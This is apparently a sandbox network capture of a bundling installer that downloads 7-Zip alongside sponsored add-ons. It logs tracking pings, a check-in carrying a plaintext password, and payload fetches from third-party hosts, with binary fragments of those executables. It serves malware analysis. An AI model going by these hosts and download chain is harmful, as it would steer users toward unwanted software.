.........p...........X.DF....^0N....b9.:..J. ZK.".^..\..p.'.$..JA..~QG
.d.}...r...gv... f...z.#..}..J...r9h.........LI-..^.......PUD.h<.l.
...(n..i.....E.....2....^./Y......Y.m...'...hz..y..E..........0...0...
U....0.0....U. ...0..0....`.H...E....0..0(.. .........hXXps://VVV.veri
sign.com/CPS0b.. .......0V0...VeriSign, Inc.0.....=VeriSign's CPS inco
rp. by reference liab. ltd. (c)97 VeriSign0...U.%..0... .......0...U..
......0... .....0......0"..U....0...0.1.0...U....TGV-B-24710...*.H<<< skipped >>>

GET /t.ashx?e=lOCrbsNL2zWYW6sXTpZ7/L1yLlvxP1mXpL1q0D3vvXT8ln8Iap23//2TEkHeJNDUNLVXkHqu5msdlItDucQRpNQoCJasmvuZd/XCztdoPbIiDxPRY4o5upR90anDedSCpjurIyC9QLD3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22OWbU/CGmJ5Yn HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:52:59 GMT

X-Cache: Miss from cloudfront

Via: 1.1 5d869310e89dfeb63731c45656d316ca.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Yu0B5LLL2rDNBQk_blvFYbJ5WcYXdQz7lA9P0bB6UStSR9iremLvSg==

abfgshdgfjhsk....

GET /t.ashx?e=lOCrbsNL2zWYW6sXTpZ7/L1yLlvxP1mXpL1q0D3vvXT8ln8Iap23//2TEkHeJNDUNLVXkHqu5msdlItDucQRpNQoCJasmvuZd/XCztdoPbIiDxPRY4o5upR90anDedSCpjurIyC9QLD3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22OWbU/CGmJ5Yn HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:52:59 GMT

X-Cache: Miss from cloudfront

Via: 1.1 5d869310e89dfeb63731c45656d316ca.cloudfront.net (CloudFront)

X-Amz-Cf-Id: kWtE1wejxNkEH-IhQDrUCKmaTQrhKN4rO_rgYGAI-UqWwWqdhRYA7w==

abfgshdgfjhsk....

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:52:59 GMT

X-Cache: Miss from cloudfront

Via: 1.1 5d869310e89dfeb63731c45656d316ca.cloudfront.net (CloudFront)

X-Amz-Cf-Id: zX2Dti36Wx5Lyrj6zXpMvW6rm5Gr0VYRg6PGjwTqGOSqexjPhB7tmg==

abfgshdgfjhskHTTP/1.1 200 OK..Content-Type: text/html; charset=utf-8..
Content-Length: 13..Connection: keep-alive..Cache-Control: private,no-
cache, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 2.0.5072
7..X-Powered-By: ASP.NET..Date: Thu, 08 Jan 2015 04:52:59 GMT..X-Cache
: Miss from cloudfront..Via: 1.1 5d869310e89dfeb63731c45656d316ca.clou
dfront.net (CloudFront)..X-Amz-Cf-Id: zX2Dti36Wx5Lyrj6zXpMvW6rm5Gr0VYR
g6PGjwTqGOSqexjPhB7tmg==..abfgshdgfjhsk..

GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1

Cache-Control: max-age = 812

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Thu, 23 Oct 2014 05:05:32 GMT

If-None-Match: "a2f3ff97eeecf1:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.microsoft.com


HTTP/1.1 200 OK

Content-Type: application/pkix-crl

Last-Modified: Wed, 07 Jan 2015 06:02:43 GMT

Accept-Ranges: bytes

ETag: "88c4768d3f2ad01:0"

Server: Microsoft-IIS/8.5

VTag: 438410416000000000

P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"

X-Powered-By: ASP.NET

Content-Length: 813

Cache-Control: max-age=900

Date: Thu, 08 Jan 2015 04:54:55 GMT

Connection: keep-alive
0..)0......0...*.H........0_1.0.....&...,d....com1.0.....&...,d....mic
rosoft1-0 ..U...$Microsoft Root Certificate Authority..150106214825Z..
150407100825Z0.0...a......../..100208014912Z._0]0...U.#..0......`@V'..
%..*..S.Y..0... .....7.......0...U......(0... .....7......150406215825
Z0...*.H..............vQ..r..L.Q.N..=#.......V;..r../\.m..<.."...F/
U....(:.....xm.....P.e.F..BE8......=...G....6t:...?...L..B.v..p.M.....
...z..Q.%J.6..I.......8...U. .g..=T=K....L..$w...^....y~..-a.'...*s#N.
o..Qs.$h..:duV'~....8.6..w..b3.... .~)...|.I.y".>R.nJq.ws...3.....f
}.E)\......EB.d\.2.....h...lMjT.7..lj.'lj.b....".L.Os6{[email protected].|7z
.. ......>..Q...([email protected]\]#..Y.*.......T. .C.....A'..
5FW.ETDvX..tE.....g5.....&..&.....x.^H;...../7..'9.t.I&<[.HX.j....Q
w......}...qy3..q`<.....LB.9w|....;..Qw..a ..=.C.:.........


GET /pki/crl/products/WinPCA.crl HTTP/1.1

Cache-Control: max-age = 900

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Mon, 06 Oct 2014 05:06:02 GMT

If-None-Match: "3e1c83923e1cf1:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.microsoft.com


HTTP/1.1 200 OK

Content-Type: application/pkix-crl

Last-Modified: Sun, 21 Dec 2014 06:03:02 GMT

Accept-Ranges: bytes

ETag: "d2e35dc7e31cd01:0"

Server: Microsoft-IIS/8.5

VTag: 4389615400000000

P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"

X-Powered-By: ASP.NET

Content-Length: 561

Cache-Control: max-age=900

Date: Thu, 08 Jan 2015 04:54:55 GMT

Connection: keep-alive
0..-0......0...*.H........0..1.0...U....US1.0...U....Washington1.0...U
....Redmond1.0...U....Microsoft Corporation1 0)..U..."Microsoft Window
s Verification PCA..141220223154Z..150321105154Z._0]0...U.#..0.......p
............<.J0... .....7.......0...U......30... .....7......15032
0224154Z0...*.H.............h.~oH#i.J.vh_.....A'B..g...........F....9c
.{[email protected].^ 4.r..Wv.Q.0.w..j....c9..w....I..%.~.l..F.......xo....
_...o...7BR.;<..\R/ .....b.(....~..]|.v.u.i.X.B....I......./*...P..
A..fi.}& .x.v{TFP[.G......A......L.o...)R.......V.u..V.../.Q..(L.]....
.uki~......


GET /pki/crl/products/MicrosoftTimeStampPCA.crl HTTP/1.1

Cache-Control: max-age = 900

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Sat, 04 Oct 2014 05:06:12 GMT

If-None-Match: "58cddbea90dfcf1:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.microsoft.com


HTTP/1.1 200 OK

Content-Type: application/pkix-crl

Last-Modified: Fri, 19 Dec 2014 06:02:00 GMT

Accept-Ranges: bytes

ETag: "9a9a44d511bd01:0"

Server: Microsoft-IIS/8.0

VTag: 438346843700000000

P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"

X-Powered-By: ASP.NET

Content-Length: 550

Cache-Control: max-age=900

Date: Thu, 08 Jan 2015 04:54:55 GMT

Connection: keep-alive
0.."0......0...*.H........0w1.0...U....US1.0...U....Washington1.0...U.
...Redmond1.0...U....Microsoft Corporation1!0...U....Microsoft Time-St
amp PCA..141218221600Z..150319103600Z._0]0...U.#..0...#[email protected].. .
.5..0... .....7.......0...U......10... .....7......150318222600Z0...*.
H............./..0Q~.r.}.E....&\....F.Z.C..#..F.s........<&\..9G..-
....j..N... .C.Fk....;l.....2.K5D.........-.>...(...g.0.S.[?...T4q&
gt;[email protected].('..e...Y..Bo..q..........I....'....i>
..y:.eH@h`..\...UA.m#.~.. ;.3..d..;..<..........p..s..J..N `Az.....
[email protected]/1.1 200 OK..Content-Type: application/pkix-crl..Last-Modifie
d: Fri, 19 Dec 2014 06:02:00 GMT..Accept-Ranges: bytes..ETag: "9a9a44d
511bd01:0"..Server: Microsoft-IIS/8.0..VTag: 438346843700000000..P3P: 
CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR S
AMo CNT COM INT NAV ONL PHY PRE PUR UNI"..X-Powered-By: ASP.NET..Conte
nt-Length: 550..Cache-Control: max-age=900..Date: Thu, 08 Jan 2015 04:
54:55 GMT..Connection: keep-alive..0.."0......0...*.H........0w1.0...U
....US1.0...U....Washington1.0...U....Redmond1.0...U....Microsoft Corp
oration1!0...U....Microsoft Time-Stamp PCA..141218221600Z..15031910360
0Z._0]0...U.#..0...#[email protected].. ..5..0... .....7.......0...U......10
... .....7......150318222600Z0...*.H............./..0Q~.r.}.E....&\...
.F.Z.C..#..F.s........<&\..9G..-....j..N... .C.Fk....;l.....2.K5D..
.......-.>...(...g.0.S.[?...T4q>[email protected].('..e.
..Y..Bo..q..........I....'....i>..y:.eH@h`..\...UA.m#.~.. ;.3..<<< skipped >>>

GET /online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=8633e8ff-d126-44fc-b616-75bd1c6bb147&Password=UR5lCzgR&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1420692776&SBPIDS=1&KA=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=jz1e1q45ikgezlf1wzoex5uz


HTTP/1.1 302 Found

Connection: close

Date: Thu, 08 Jan 2015 04:53:16 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Location: hXXp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=8633e8ff-d126-44fc-b616-75bd1c6bb147&Password=UR5lCzgR&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1420692776&SBPIDS=1&KA=1

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 1268
<html><head><title>Object moved</title></he
ad><body>..<h2>Object moved to <a href="hXXp://onlin
e.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&U
serID=8633e8ff-d126-44fc-b616-75bd1c6bb147&Password=UR5lCzgR&O
S=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,25383
020-30f5-408f-b983-88ab51edfcbf,&BundleID=NONE&BrandID=NONE&
amp;PartnerList=&ElapsedTime=1420692776&SBPIDS=1&KA=1">
here</a>.</h2>..</body></html>....<!DOCTYPE
 html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "hXXp://VVV.w3.o
rg/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="hXXp://
VVV.w3.org/1999/xhtml" >..<head><title>...Untitled Page
..</title></head>..<body>..    <form name="form1"
 method="post" action="ka.aspx?CV=2.0.0.0&ProductID=12000&User
ID=8633e8ff-d126-44fc-b616-75bd1c6bb147&Password=UR5lCzgR&OS=1
0&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,25383020
-30f5-408f-b983-88ab51edfcbf,&BundleID=NONE&BrandID=NONE&
;PartnerList=&ElapsedTime=1420692776&SBPIDS=1&KA=1" id="fo
rm1">..<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" 
value="/wEPDwUJNzgzNDMwNTMzZGQZyQmL5DwxHRo8R5yFk4y5MH1KTQ==" />..  
  <div>..    ..    </div>..    </form>..</body>
;..</html>....<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRIt2RJ89X++hEzqoBeQg8PymQ2UQQUANhaTCXBIuWLMe9tuvPMXynxDWECEGVSJuGyLhjhWQ8phawi51w= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1453

content-transfer-encoding: binary

Cache-Control: max-age=562162, public, no-transform, must-revalidate

Last-Modified: Wed, 7 Jan 2015 17:04:40 GMT

Expires: Wed, 14 Jan 2015 17:04:40 GMT

Date: Thu, 08 Jan 2015 04:57:05 GMT

Connection: keep-alive
0..........0..... .....0......0...0......T3t.%..O.E..~..F.=....2015010
7170440Z0s0q0I0... ........H.dI.....3..^B...d6Q....ZL%."..1.m..._)..a.
.eR&.....Y.)..".\....20150107170440Z....20150114170440Z0...*.H........
.....|...L.oRb..UWu....y..X>PRu.b.(.....w.VXJ.|^.-......Zy .......r
.l..#M........(..!.X]k.2....u/..l.BG:.A...X.......O!...Waxr.U.X=...S..
Pbo.Oby.Q........7j[f...:[email protected].....%,........c:.'.....6..
.........Q.(.)......A7.d.0.e).`....s5.6{..K.....;...).....0...0...0..3
......./...b.v..-....l}0...*.H........0_1.0...U....US1.0...U....VeriSi
gn, Inc.1705..U....Class 3 Public Primary Certification Authority0...1
41202000000Z..151216235959Z0..1.0...U....US1.0...U....Symantec Corpora
tion1.0...U....Symantec Trust Network1?0=..U...6Symantec Class 3 PCA -
 G1 OCSP Responder Certificate 30.."0...*.H.............0..........'..
....Y..x.3B1.7..Q..`..d.. ....s..t.$a.....j2R.{ ,*..c{.3.....H..3-; ).
....0._...*..9M..V...... ...{m...-.......)..tR..{D....~...M...T..pS.p.
.^|o....S..v.).)[email protected]#qh...u1T.].G0.]E...=._..
.... ........TE...Sa.s4........r...3.............0..0...U....0.0l..U. 
.e0c0a..`.H...E....0R0&.. .........hXXp://VVV.symauth.com/cps0(.. ....
...0...hXXp://VVV.symauth.com/rpa0...U.%..0... .......0...U........0..
. .....0......0!..U....0...0.1.0...U....TGV-B-2730...*.H.............$
..H......oU....Y!.z{*.V.M..u.._z..3>.. 0....3..m.....e.......a..D..
.........e..F6:.y.....di.......<y.Z.......x}..q.2....UZ1 :,.
...
<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAxNF3PJUX7iAOhAP2oGxcI= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1790

content-transfer-encoding: binary

Cache-Control: max-age=583471, public, no-transform, must-revalidate

Last-Modified: Wed, 7 Jan 2015 22:59:52 GMT

Expires: Wed, 14 Jan 2015 22:59:52 GMT

Date: Thu, 08 Jan 2015 04:57:05 GMT

Connection: keep-alive
0..........0..... .....0......0...0........6?s....V....OlL".O..2015010
7225952Z0s0q0I0... ..........!7h....O.d...AG&h.....k.&p..?...-.5......
..M.s.Q~...@?j.......20150107225952Z....20150114225952Z0...*.H........
.....}d&vWP... ...._.D.....49..([email protected]........
......U.....;\x......LwB!.>.E...m.....i4..3C..n.A)6.......p...TZ..*
....Q>]k....0|.8.>.s.V...8\.'.......-[..H.,(/].....&.......>%
F.0O?....6...2..j.WhX.n..M.g..Q(....q8...R.pt............ b:......#0..
.0...0..........<o&S.-S..}...e.30...*.H........0..1.0...U....US1.0.
..U....VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms
 of use at hXXps://VVV.verisign.com/rpa (c)09100...U...'VeriSign Class
 3 Code Signing 2009-2 CA0...141205000000Z..150305235959Z0..1.0...U...
.US1.0...U....VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U..
.2Terms of use at hXXps://VVV.verisign.com/rpa (c)091<0:..U...3Veri
Sign Class 3 Code Signing 2009-2 OCSP Responder0.."0...*.H............
.0.........{(..t....2.Vf.....&;6).i*[email protected]._p.E.6.|.mk
....(..........p...........X.DF....^0N....b9.:..J. ZK.".^..\..p.'.$..J
A..~QG.d.}...r...gv... f...z.#..}..J...r9h.........LI-..^.......PUD.h&
lt;.l....(n..i.....E.....2....^./Y......Y.m...'...hz..y..E..........0.
..0...U....0.0....U. ...0..0....`.H...E....0..0(.. .........hXXps://ww
w.verisign.com/CPS0b.. .......0V0...VeriSign, Inc.0.....=VeriSign's CP
S incorp. by reference liab. ltd. (c)97 VeriSign0...U.%..0... .......0
...U........0... .....0......0"..U....0...0.1.0...U....TGV-B-24710<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=9e6180970114bd468bddca6b91fb0979&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=geneio_non_search_for_pc&tokyo_csrf2_key=9344b29550cc9b119856a386936a015a&tokyo_csrf2_timestamp=1420692913&slot_number=4&index_in_screen=1&index_in_session=4&0.43486739058088724 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/9e6180970114bd468bddca6b91fb0979?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.260128705.1420692778.1420692778.1420692778.1; __utmb=1.5.10.1420692778; __utmz=1.1420692778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __utmc=1


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:56:40 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 08 Jan 2015 04:56:40 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=9e6180970114bd468bddca6b91fb0979&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=priceless&tokyo_csrf2_key=9344b29550cc9b119856a386936a015a&tokyo_csrf2_timestamp=1420692913&slot_number=1&index_in_screen=1&index_in_session=1&0.9554772668311194 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/9e6180970114bd468bddca6b91fb0979?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.260128705.1420692778.1420692778.1420692778.1; __utmb=1.6.10.1420692778; __utmz=1.1420692778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __utmc=1


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:56:41 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 08 Jan 2015 04:56:41 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=694049-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:55:20 GMT

Content-Type: application/octet-stream

Content-Length: 416427

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 694049-1110475/1110476
...^...y..R.?...tN.ts...&..'^....]I...K.uQ......A#......t.3.....).2..8
'...Q .k.1.f....8P........U^.%.i..Jz...R]A.......X..>oqIi...v.\..!.
.pk.r....B.......)b..>..KR..3zO.f......D..M9.&...>O....W3.(..!.7
%*[email protected](o.-..$.31..V......p.6............. r..5.jf4.yrF.O....
w....}8..............L......'(..'..../ .-[9..#.........n`Z..A...<..
I.8)'.QnB.`M..^V.gVt0&.EI..8.?sM.|.p....K.......J.......q..c.'.7\(!7..
d.;4y....F......g.v.._.9....LC?..........f..>.........).-*....{%&..
B.8..0P.....!.D.,..l&...2.y.O.|R).......{4.!K..`k...2..c.3.....!.T....
....r..5`...............c./.66.JGvN../.).u.....d.q...5.V.%..q5>...r
.....\...\V:..%.B-.]....~.X.C..HQ.{[.....i".('...`.......@.,.m....zeG.
Fa(],.Kt .LdS..g.4.3v.tDu`.....gQ.np0........~...........J....\.....RZ
.3......\..?. .....h.......?.H].9.G.g......x..4j. ..Z..?....xa..I.....
..?...ai.4...2.g.f v......g.\..aeWIN...0.F .......u......e\.>...~..
.....<y.W2......^Io.y3...v.2.rO..X..A.*.z7.w......cOv...B.!>m..:
Jj...^G. .u..]..ykV.~...................6.....YL.._o ..<.:.w../.9Z.
U......A!..]GZA..9.8.jU..L..GW.=.....p...G....8..3..KC...oH..ZP....A2U
..<.b/*35K..D.....#........n.53H...c..&ei..=P.NUY..%^#y.h3.........
.....qfX..;F..JE.1d....v#..fh%...R..o!....K.A...........W.."s!....#...
.a.N$S....0..1_......)z.J\......Q.....J.*`.MPYt.....Qb.?re&v..c..X'...
.y..?........d....].]O........=(...&.X=n'.5..)....q.*.....9S..\.c.{..8
...k.....*T...g..>Y"9...m.........J.E"H.: iZ...$..g)..`.d..........
.....O[.OJk.G..{.9......y.....}...........#...b.G...-c..._F...._..<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=192700-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:57:25 GMT

Content-Type: application/octet-stream

Content-Length: 115620

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:57:25 GMT

Cache-Control: max-age=259200

Content-Range: bytes 192700-308319/308320
P..$..Y]... P...@..].U...M..E....}..`......A.P.l$..Y]... P...@..].....
..........SVW.T$..D$..L$.URPQQh....d.5.....P...3..D$.d.%.....D$0.X..L$
,3..p....t;.T$4...t.;.v..4v.\.....H..{..u.h.....C...E........C...E....
d........._^[..L$..A..........t3.D$..H.3......U.h..p..p..p..>......
].D$..T$.........U.L$..).q..q..q(........]...UVWS..3.3.3.3.3...[_^]...
....j...D..3.3.3.3.3...U..SVWj.RhF...Q..^.._^[].U.l$.RQ.t$.........]..
.U...E...u..X.................]..@.]............T$..L$...t...D$...%...
..s..L$.W.|$....].T$.......|...%X.......J..W.....r1.....t. .........u.
......................t.....t.........u..D$._..D$..j.h@.........u....u
..\.... ...................xy;[email protected]..
[email protected].....*.............}..E.............).u..
}.V..K..Y....... .............2.......l....U..VW.}.W.fK..Y...tP.@.....
[email protected]..;K..j....2K..YY;.t.W.&K..YP..|@....u....@...
[email protected]._^].U..V.u..F..t 
.F..t..v..T....f.....3.Y...F..F.^].U..V.u...u.V.....Y./V.,...Y..t.....
[email protected].{...P..J..Y..Y....3.^].U..SV.u.3..F.$.<.uB.F.....t9W.&g
t; ~...~.W.v.V.8...YP.. .....;.u..F...y.....F....N. ..._.N..f....^..[]
.j......Y.j.h`........3..}.!}.j..y...Y!}.3..]..u.;5...................
.t][email protected][email protected].}.....u..@..
t.P.....Y...u..E..e.......F...]..}..u.......4.V.....YY..E.............
..t..E........]..}.j......Y.U..V.u...t.j.3.X..;E.s..b.........3..Q..u.
[email protected]*.=<....t.V.....Y..u..E...t....<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=694049-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:52:17 GMT

Content-Type: application/octet-stream

Content-Length: 416427

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 694049-1110475/1110476
...^...y..R.?...tN.ts...&..'^....]I...K.uQ......A#......t.3.....).2..8
'...Q .k.1.f....8P........U^.%.i..Jz...R]A.......X..>oqIi...v.\..!.
.pk.r....B.......)b..>..KR..3zO.f......D..M9.&...>O....W3.(..!.7
%*[email protected](o.-..$.31..V......p.6............. r..5.jf4.yrF.O....
w....}8..............L......'(..'..../ .-[9..#.........n`Z..A...<..
I.8)'.QnB.`M..^V.gVt0&.EI..8.?sM.|.p....K.......J.......q..c.'.7\(!7..
d.;4y....F......g.v.._.9....LC?..........f..>.........).-*....{%&..
B.8..0P.....!.D.,..l&...2.y.O.|R).......{4.!K..`k...2..c.3.....!.T....
....r..5`...............c./.66.JGvN../.).u.....d.q...5.V.%..q5>...r
.....\...\V:..%.B-.]....~.X.C..HQ.{[.....i".('...`.......@.,.m....zeG.
Fa(],.Kt .LdS..g.4.3v.tDu`.....gQ.np0........~...........J....\.....RZ
.3......\..?. .....h.......?.H].9.G.g......x..4j. ..Z..?....xa..I.....
..?...ai.4...2.g.f v......g.\..aeWIN...0.F .......u......e\.>...~..
.....<y.W2......^Io.y3...v.2.rO..X..A.*.z7.w......cOv...B.!>m..:
Jj...^G. .u..]..ykV.~...................6.....YL.._o ..<.:.w../.9Z.
U......A!..]GZA..9.8.jU..L..GW.=.....p...G....8..3..KC...oH..ZP....A2U
..<.b/*35K..D.....#........n.53H...c..&ei..=P.NUY..%^#y.h3.........
.....qfX..;F..JE.1d....v#..fh%...R..o!....K.A...........W.."s!....#...
.a.N$S....0..1_......)z.J\......Q.....J.*`.MPYt.....Qb.?re&v..c..X'...
.y..?........d....].]O........=(...&.X=n'.5..)....q.*.....9S..\.c.{..8
...k.....*T...g..>Y"9...m.........J.E"H.: iZ...$..g)..`.d..........
.....O[.OJk.G..{.9......y.....}...........#...b.G...-c..._F...._..<<< skipped >>>

GET / HTTP/1.1

Range: bytes=124440-

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 302 Moved Temporarily

Date: Thu, 08 Jan 2015 04:57:24 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=d944cb781b8eac360643f2c654396692c1420693044; expires=Fri, 08-Jan-16 04:57:24 GMT; path=/; domain=.settleship.org; HttpOnly

X-Powered-By: PHP/5.4.19

location: tmps.exe

Server: cloudflare-nginx

CF-RAY: 1a55d065c9d70f7b-FRA

0......

GET /tmps.exe HTTP/1.1

Range: bytes=124440-

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Date: Thu, 08 Jan 2015 04:57:24 GMT

Content-Type: application/octet-stream

Content-Length: 74664

Connection: keep-alive

Set-Cookie: __cfduid=d944cb781b8eac360643f2c654396692c1420693044; expires=Fri, 08-Jan-16 04:57:24 GMT; path=/; domain=.settleship.org; HttpOnly

Last-Modified: Tue, 06 Jan 2015 18:40:02 GMT

Content-Range: bytes 124440-199103/199104

Server: cloudflare-nginx

CF-RAY: 1a55d06639e20f7b-FRA
ium)qWJUqtn|qL'|rutYiuFZnuJ mJmYm{xYme&.\RsQ^(s mKJ "vhUmusYuu&wts&gvr
sYn^znX])nSwQr\s(ITwf/)\'Y{[ykXwz &sRsX\(IS]IYs]RIT\)rE]fY\H&k{nWJ rKs
fium)qWJUqtn|qL'|rutYiuFZnuJ mJmYm{xYme&.\RsQ^(s mW~Z"vhUmusYuu&wts&gv
rsYy])\(n{mXuR/JwsYn^znX])nSwQr\s(ITwf/)\'Y{[ykXwz &sRsX\(IS]IYs]RIT\)
rE]fY\H&l&m&ghqttXits|n&mUottWrL&Xrtt iuwhnus{nKF(r{l(m)&.\RsQ^(s mW~Y
"vhUmusYuu&wts&gvrsYn^znX])nSwQr\s(ITwf/)\'Y{[ykXwz &sRsX\(IS]IYs]RIT\
)rE]fY\H&l&m&ghqttXits|n&mUottWrL&Xrtt iuwhnus{nKF(r{l(m)&.\RsQ^(s mW~
